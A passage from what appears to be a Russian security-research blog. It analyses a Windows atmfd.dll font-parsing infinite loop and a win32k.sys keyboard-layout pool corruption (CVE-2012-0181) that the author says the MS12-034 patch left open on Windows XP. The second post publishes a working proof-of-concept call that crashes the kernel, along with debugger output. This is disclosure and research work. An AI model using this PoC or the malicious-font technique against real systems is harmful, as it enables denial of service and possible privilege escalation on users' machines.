--- object[index]={value}
### Top DICT INDEX (0000071d-0000074c)
--- object[index]={value}
  423 version
  424 Notice
  425 FullName
  426 FamilyName
  387 Weight
  -14 ItalicAngle
  -184 -280 1328 882 FontBBox
  465 charset
  28 1271 Private
  472 CharStrings
### String INDEX (0000074d-000008cc)
--- object[index]={value}
[425]={CFF_Type-1_0x0d_expl Medium}
### GlobalSubrINDEX (000008cd-000008ce)
### Encoding ........ (Standard)
### Charset (000008d1-000008d7)
--- Range1[index]={first,nLeft}
### CharStrings INDEX (000008d8-00000bf6)
--- object[index]={value}
# ... SKIPPED ...
  -74 37 -72 77 95 112 99 65 reserved13
# ... SKIPPED ...
### Private DICT (00000bf7-00000c12)
  -20 20 683 23 -333 23 247 9 BlueValues
  -265 23 OtherBlues
  88 StdHW
  88 StdVW
  565 defaultWidthX
  399 nominalWidthX
  28 Subrs
### Local Subr INDEX (00000c13-00000c14)

XML представление, которое использовалось для редактирования шрифта: CFF_Type-1_0x0d_expl.ttx

Далее была произведена трассировка кода atmfd.dll при обработке минимального тестового кейса. При загрузке atmfd.dll в дизассемблер, основная функция, обрабатывающая байты глифа, сразу бросается в глаза: она находится по адресу ATMFD+0x288ca и имеет размер машинного кода порядка 17-ти килобайт. В коде функции неоднократно встречаются константы и арифметические операции декодирования байтов, которые описаны в документации на Type 2 Charstring Format. Установим точку останова на ту инструкцию, которая читает байт из описывающего глиф массива для последующего декодирования:

kd> u ATMFD+0x28f83
bf1b2f83 8b857cffffff    mov     eax,dword ptr [ebp-84h]
bf1b2f89 0fb638          movzx   edi,byte ptr [eax]
bf1b2f8c ff857cffffff    inc     dword ptr [ebp-84h]
kd> db @eax
00c80b2b  41 b0 43 d8 ea f7 04 ee-cc 0d 1e 0e 0e 0e 0e 0e  A.C.............
00c80b3b  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................
00c80b4b  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................
00c80b5b  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................

Регистр eax указывает на область памяти, в которой находится глиф. Когда цикл получения байт из буфера доходит до кода операции 0Dh, из-за ошибки при его декодировании указатель текущей позиции буфера перемещается на несколько десятков байт выше (0x00c80b09):

bf1b2f89 0fb638          movzx   edi,byte ptr [eax]
kd> db @eax
00c80b09  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................
00c80b19  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................
00c80b29  0e 0e 41 b0 43 d8 ea f7-04 ee cc 0d 1e 0e 0e 0e  ..A.C...........
00c80b39  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................

... где находится код операнда 0Eh (endchar), после обработки которого указатель текущей позиции вновь перемещается на начало глифа (0x00c80b2b), из-за чего процедура впадает в бесконечный цикл.

Таким образом, найденную мной уязвимость можно классифицировать как Remote DoS – по итогам исследования кода atmfd.dll не было выявлено ошибок, которые могли бы привести к повреждению памяти или контролю над EIP. На компьютерах с Windows XP / Server 2003 обработка зловредного шрифта приводит к аварийному завершению работы системы:

На Windows Vista и старше результатом воспроизведения уязвимости является 100% загрузка одного из ядер процессора, опять же, без возможности каким-либо образом завершить процесс, который инициировал загрузку зловредного шрифта:

Уязвимости подвержены все актуальные версии Windows (как x32, так и x64). Уязвимость может быть воспроизведена из-под учётной записи с любым уровнем привилегий. Для удалённой атаки зловредный шрифт можно встроить в web-страницу или документ (червь Duqu использовал документ Microsoft Word формата .DOCX для проведения схожей атаки).


Размер минимизированного .OTF файла шрифта составляет 4Кб. Архив доступен для загрузки.

Исходные тексты и исполняемые файлы фаззера доступны в репозитории на GitHub.

Friday, May 18, 2012

Post MS12-034 0day: не все патчи одинаково полезны

В начале этого месяца Microsoft выпустила бюллетень безопасности MS12-034, который сообщает о целых 10-ти совершенно разношерстных уязвимостях, среди которых присутствует даже старая и давно известная уязвимость в обработке TTF шрифтов (CVE-2011-3402). Разнообразие упомянутых в бюллетене продуктов объясняется тем, что очень похожий уязвимый код использовался в разных бинарных модулях.

Помимо всего прочего закрыли так же и уязвимость CVE-2012-0181 – повышение привилегий в коде win32k.sys, который отвечает за загрузку клавиатурных раскладок. О странной ситуации с этой уязвимостью и неадекватной реакции вендора я хочу рассказать в данной заметке.

Немного истории

Реализация поддержки клавиатурных раскладок в Windows, как и большая часть кода в win32k.sys, содержит в себе целую массу сомнительных решений. Их корни, вероятно, тянутся к тем сильным архитектурным изменениям, которые претерпевала графическая подсистема Windows во времена ранних версий NT. Клавиатурная раскладка представляет собой обыкновенный PE-файл, в секции .data которого хранится вся необходимая информация. Стандартные раскладки находятся в директории %SystemRoot%\system32, с префиксами KBD* (например – KBDUS.DLL). Полный список зарегистрированных раскладок хранится в ключе реестра HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layouts\{LAYOUT_ID}, где {LAYOUT_ID} – уникальный идентификатор конкретной раскладки. Их загрузка осуществляется с помощью функции LoadKeyboardLayout():

HKL WINAPI LoadKeyboardLayout(
  __in  LPCTSTR pwszKLID,
  __in  UINT Flags

В качестве значения параметра pwszKLID она принимает идентификатор раскладки, которую следует загрузить. Этой функции, в свою очередь, соответствует системный вызов win32k!NtUserLoadKeyboardLayoutEx(), который, для Windows XP, выглядит следующим образом:
HKL WINAPI NtUserLoadKeyboardLayoutEx(
    HANDLE Handle,
    DWORD offTable,
    PUNICODE_STRING puszKeyboardName,
    HKL hKL,
    UINT Flags

Так как помимо идентификаторов загружаемой раскладки win32k!NtUserLoadKeyboardLayoutEx() принимает параметр Handle (дескриптор файла) – это позволяет простым образом загрузить произвольный файл клавиатурной раскладки без необходимости создавать каких-либо ключей реестра в HKEY_LOCAL_MACHINE (собственно, одно из необходимых условий для Local Privileges Escalation из-под низко привилегированной учётной записи). Так же стоит обратить внимание на параметр offTable. Младшие 16 бит этой переменной используются как RVA адрес, по которому в PE-образе файла клавиатурной раскладки находится структура _KBDTABLES (с неё и начинается описание данных раскладки), старшие 16 бит – это аналогичный RVA адрес структуры _KBDNLSTABLES.

Основная работа по чтению и обработке данных из файла клавиатурной раскладки происходит в функции win32k!ReadLayoutFile(), стек вызовов к которой выглядит следующим образом:
ChildEBP RetAddr  
f877990c bf881e25 win32k!ReadLayoutFile
f877992c bf8b9574 win32k!LoadKeyboardLayoutFile+0x6a
f87799b4 bf92a002 win32k!xxxLoadKeyboardLayoutEx+0x1b1
f8779d40 8053d6f8 win32k!NtUserLoadKeyboardLayoutEx+0x164
f8779d40 7c90e514 nt!KiFastCallEntry+0xf8

В данной функции реализован небольшой PE-загрузчик, в коде которого и кроется целый ряд уязвимостей. Псевдокод данной функции для Windows XP приведён ниже:
1 PKBDTABLES ReadLayoutFile( 2 PKBDFILE pkf, 3 HANDLE hFile, 4 UINT offTable, 5 PKBDNLSTABLES *ppNlsTables) 6 { 7 // ... 8 9 // Смещение _KBDNLSTABLES 10 UINT offNlsTable = HIWORD(offTable); 11 12 // Смещение _KBDTABLES 13 offTable &= 0x0000FFFF; 14 15 /* 16 Здесь происходит чтение содержимого файла. 17 ... 18 */ 19 20 NumberOfSubsections = NtHeader->FileHeader.NumberOfSections; 21 22 OffsetToSectionTable = sizeof(ULONG) + 23 sizeof(IMAGE_FILE_HEADER) + 24 NtHeader->FileHeader.SizeOfOptionalHeader; 25 26 SectionTableEntry = (PIMAGE_SECTION_HEADER)((PBYTE)NtHeader + 27 OffsetToSectionTable); 28 29 // Поиск секции данных. 30 while (NumberOfSubsections > 0) 31 { 32 if (strcmp(SectionTableEntry->Name, ".data") == 0) 33 break; 34 35 SectionTableEntry++; 36 NumberOfSubsections--; 37 } 38 39 if (NumberOfSubsections == 0) 40 { 41 goto exitread; 42 } 43 44 // We found the section, now compute starting offset and the table size. 45 offTable -= SectionTableEntry->VirtualAddress; 46 dwDataSize = SectionTableEntry->Misc.VirtualSize; 47 48 pBaseDst = UserAllocPool(dwDataSize, TAG_KBDTABLE); 49 if (pBaseDst != NULL) 50 { 51 VK_TO_WCHAR_TABLE *pVkToWcharTable; 52 VSC_LPWSTR *pKeyName; 53 LPWSTR *lpDeadKey; 54 55 pkf->hBase = (HANDLE)pBaseDst; 56 RtlMoveMemory(pBaseDst, (PBYTE)DosHdr + 57 SectionTableEntry->PointerToRawData, dwDataSize); 58 59 if (ISTS()) { 60 pkf->Size = dwDataSize; // For shadow hotkey processing 61 } 62 63 // Compute table address and fixup pointers in table. 64 pktNew = (PKBDTABLES)(pBaseDst + offTable); 65 66 // The address in the data section has the virtual address 67 // added in, so we need to adjust the fixup pointer to 68 // compensate. 69 pBaseVirt = pBaseDst - SectionTableEntry->VirtualAddress; 70 71 FIXUP_PTR(pktNew->pCharModifiers, pBaseVirt); 72 FIXUP_PTR(pktNew->pCharModifiers->pVkToBit, pBaseVirt); 73 74 if (FIXUP_PTR(pktNew->pVkToWcharTable, pBaseVirt)) 75 { 76 for (pVkToWcharTable = pktNew->pVkToWcharTable; 77 pVkToWcharTable->pVkToWchars != NULL; pVkToWcharTable++) 78 FIXUP_PTR(pVkToWcharTable->pVkToWchars, pBaseVirt); 79 } 80 81 /* 82 Здесь пропущено множество вызовов FIXUP_PTR() для внутренних структур 83 клавиатурной раскладки. 84 ... 85 */ 86 87 if (offNlsTable) 88 { 89 // Compute table address and fixup pointers in table. 90 offNlsTable -= SectionTableEntry->VirtualAddress; 91 pknlstNew = (PKBDNLSTABLES)(pBaseDst + offNlsTable); 92 93 // Fixup the address. 94 FIXUP_PTR(pknlstNew->pVkToF, pBaseVirt); 95 FIXUP_PTR(pknlstNew->pusMouseVKey, pBaseVirt); 96 97 // Save the pointer. 98 *ppNlsTables = pknlstNew; 99 100 // ... 101 } 102 } 103 104 // ... 105 }

Макрос FIXUP_PTR() используется для реализации базовых поправок указателей:
#define FIXUP_PTR (p, pBase) ((p) ? (p) = (PVOID)((PBYTE)pBase + (WORD)(ULONG_PTR)(p)) : 0)


 Как видно, какие либо проверки корректности PE-образа и находящихся в нём структур – отсутствуют. Приведенный код функции win32k!ReadLayoutFile() отличается от такового в более поздних версиях операционной системы. Начиная с Windows Server 2003 в нём таки добавились проверки структуры PE файла на предмет корректности, а так же проверка упомянутых выше смещений, берущихся из параметра offTable. Кроме того, начиная с Windows Vista в функции win32k!xxxLoadKeyboardLayoutEx() появились проверки на предмет того, находится ли файл, дескриптор которого передаётся в win32k!NtUserLoadKeyboardLayoutEx(), в директории %SystemRoot%\system32. Благодаря этому, по замыслу вендора, любые уязвимости при обработке клавиатурных раскладок на NT 6.x (включая CVE-2010-2743, которую использовал червь Stuxnet) могут быть полезны разве что в контексте Local Admin to Ring 0 атак, но не для «настоящего» повышения привилегий.

Согласно информации от исследователей из Core Security, нашедших уязвимость CVE-2012-0181, она является, вроде бы как, переполнением хипа, что действительно так для Windows 2003 Server и старше. Однако, для Windows XP описание эксплуатации этой уязвимости (как и сама уязвимость, вместе с заплаткой к ней) не совсем соответствуют реальной ситуации. Попробуем разобраться, в чём же дело.

Как следует из скудного описания – CVE-2012-0181 позволяет перезаписать 1, 2 или 3 байта за границей выделенного участка пула ядра из-за некорректной проверки границ значения offTable. В ответ на эту уязвимость Microsoft выпустила патч, в котором реализовано:

  • Корректная проверка значения offTable для всех версий Windows, начиная с Server 2003.
  • На XP и Server 2003 был перенесён (см. «Keyboard layout behavior introduced with Windows Vista conditionally applied down-level») уже упомянутый код из более поздних версий Windows, который разрешает загружать клавиатурные раскладки только из тех файлов, которые хранятся директории %SystemRoot%\system32. В исправленном после выхода MS12-034 модуле win32k.sys функция win32k!xxxLoadKeyboardLayoutEx() вызывается через специальную обёртку win32k!xxxSafeLoadKeyboardLayoutEx(), которая так же вызывает функцию win32k!ConvertHandleAndVerifyLoc (), где и проверяется путь к файлу.

Однако, не смотря на то, что в описании CVE-2012-0181 Windows XP явно фигурирует как vulnerable target – на ней так и не реализовали должной проверки значения offTable! Благодаря такому упущению пользователи Windows XP, фактически, остались уязвимы даже не смотря на то, что патч запретил загрузку клавиатурных раскладок из произвольных файлов. Если честно, причина столь идиотской реализации патча является загадкой и для меня самого, но можно предположить, что дело в следующем:

  1. Информация об уязвимости и её эксплуатации, которая содержится во writeup-е от Core Security, касается, предположительно, только версий Windows начиная с Server 2003. Слово «предположительно» в данном случае я употребил потому, что вместо внятного описания уязвимого фрагмента кода с приведением дизассемблерного листинга Core Security привёл только общие слова.
  2. Microsoft, получив от Core Security описание уязвимости и PoC-код к ней, не смогли воспроизвести проблему на Windows XP, и вместо полного аудита кода проблемных функций на всех платформах ограничились быстрыми и грязными хаками. 

Так это или нет – но в настоящий момент ядро Windows XP действительно содержит почти-0day уязвимость, PoC код для которой выглядит следующим образом:
1 /* 2 Когда offTable равен 0 -- смещение _KBDTABLES, которое используется 3 в win32k!ReadLayoutFile(), после вычитания из offTable виртуального адреса 4 секции данных равняется 0xfffff000: 5 6 win32k!ReadLayoutFile+0x6f (*): 7 mov esi,dword ptr [ebp+10h] ; offTable value 8 sub esi,dword ptr [eax+0Ch] ; Section RVA, 0x1000 9 10 Из-за этого происходит перезапись данных за границами выделенного участка пула, 11 при попытке применения базовых поправок к указателями внутри структур _KBDTABLES 12 и др. 13 14 ---- 15 (*) Версия win32k.sys -- 5.1.2600.6206 16 */ 17 18 HANDLE hFile = CreateFile( 19 "C:\\Windows\\system32\\KBDUS.DLL", 20 GENERIC_READ, FILE_SHARE_READ, 21 NULL, 22 OPEN_EXISTING, 23 0, NULL 24 ); 25 26 HKL hKl = GetKeyboardLayout( 27 GetWindowThreadProcessId(GetForegroundWindow(), GetCurrentProcessId()) 28 ); 29 30 DWORD dwId = 0x00031337; 31 UNICODE_STRING usLayoutName, usLayoutId; 32 WCHAR Id[20]; 33 34 wsprintfW(Id, L"%.8x", dwId); 35 RtlInitUnicodeString(&usLayoutName, NULL); 36 RtlInitUnicodeString(&usLayoutId, Id); 37 38 NtUserLoadKeyboardLayoutEx( 39 hFile, 40 0, // <-- offTable 41 &usLayoutName, 42 hKl, 43 &usLayoutId, dwId, 44 0x101 45 );

Исполнение этого кода приводит к аварийному завершению работы системы в следствии обращения по недействительному адресу памяти:
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *

Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arg1: e10650d3, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: bf881fb6, If non-zero, the instruction address which referenced the bad memory
Arg4: 00000001, (reserved)

Debugging Details:

READ_ADDRESS:  e10650d3 Paged pool

bf881fb6 803800          cmp     byte ptr [eax],0


IMAGE_NAME:  win32k.sys



FAULTING_MODULE: bf800000 win32k



PROCESS_NAME:  win32k_Keyboard

TRAP_FRAME:  b191c884 -- (.trap 0xffffffffb191c884)
ErrCode = 00000000
eax=e10650d3 ebx=e105b008 ecx=e105b008 edx=00000000 esi=e106ac08 edi=e105c008
eip=bf881fb6 esp=b191c8f8 ebp=b191c90c iopl=0         nv up ei ng nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010282
bf881fb6 803800          cmp     byte ptr [eax],0           ds:0023:e10650d3=??
Resetting default scope

LAST_CONTROL_TRANSFER:  from 804f7b8b to 80527c24

b191c3c0 804f7b8b 00000003 e10650d3 00000000 nt!RtlpBreakWithStatusInstruction
b191c40c 804f8778 00000003 00000000 c0708328 nt!KiBugCheckDebugBreak+0x19
b191c7ec 804f8ca3 00000050 e10650d3 00000000 nt!KeBugCheck2+0x574
b191c80c 8051cc4f 00000050 e10650d3 00000000 nt!KeBugCheckEx+0x1b
b191c86c 805405f4 00000000 e10650d3 00000000 nt!MmAccessFault+0x8e7
b191c86c bf881fb6 00000000 e10650d3 00000000 nt!KiTrap0E+0xcc
b191c90c bf881e25 e208f8e8 e10611c8 e105c008 win32k!ReadLayoutFile+0x183
b191c92c bf8b9574 800003a4 00000000 00000000 win32k!LoadKeyboardLayoutFile+0x6a
b191c9b4 bf92a002 82273e08 800003a4 04090409 win32k!xxxLoadKeyboardLayoutEx+0x1b1
b191c9f0 bf8b91b5 82273e08 0000003c 04090409 win32k!xxxSafeLoadKeyboardLayoutEx+0xa9
b191cd40 8053d6f8 0000003c 00000000 0012fec8 win32k!NtUserLoadKeyboardLayoutEx+0x164
b191cd40 004011c4 0000003c 00000000 0012fec8 nt!KiFastCallEntry+0xf8
0012ff7c 004015de 00000001 00363c48 00362e80 win32k_KeyboardLayout_expl!NtUserLoadKeyboardLayoutEx+0x14 
0012ffc0 7c817077 00330036 00360038 7ffdd000 win32k_KeyboardLayout_expl!__tmainCRTStartup+0x10f
0012fff0 00000000 00401726 00000000 78746341 kernel32!BaseProcessStart+0x23


Таким образом, уязвимость относится к классу Pool Corruption, и позволяет перезаписать некоторое количество указателей, которые находятся в границах от 0 до 0xFFFF относительно участка пула, выделенного под структуры клавиатурной раскладки (обычно, их размер составляет несколько Кб). Однако, на практике эксплуатация данной уязвимости сложнее, чем в случае с обычным переполнением. Данные, которыми перезаписывается указатель за границами участка пула, не контролируются атакующим непосредственно, а являются производными от макроса FIXUP_PTR() и зависят как от оригинального содержимого перезаписываемой памяти, так и от адреса участка пула, выделенного под данные клавиатурной раскладки (см. pBaseVirt в листинге win32k!ReadLayoutFile).

В связи с тем, что из-за специфики уязвимости разработка стабильного reliable эксплойта под неё является достаточно сложной задачей (но не факт что принципиально не решаемой) – я выкладываю в широкий доступ 0day PoC для изучения всеми желающими.


Для пользователей – не доверять обновлениям безопасности. Вендорам – не лениться делать нормальный аудит кода во избежание таких глупых факапов как этот.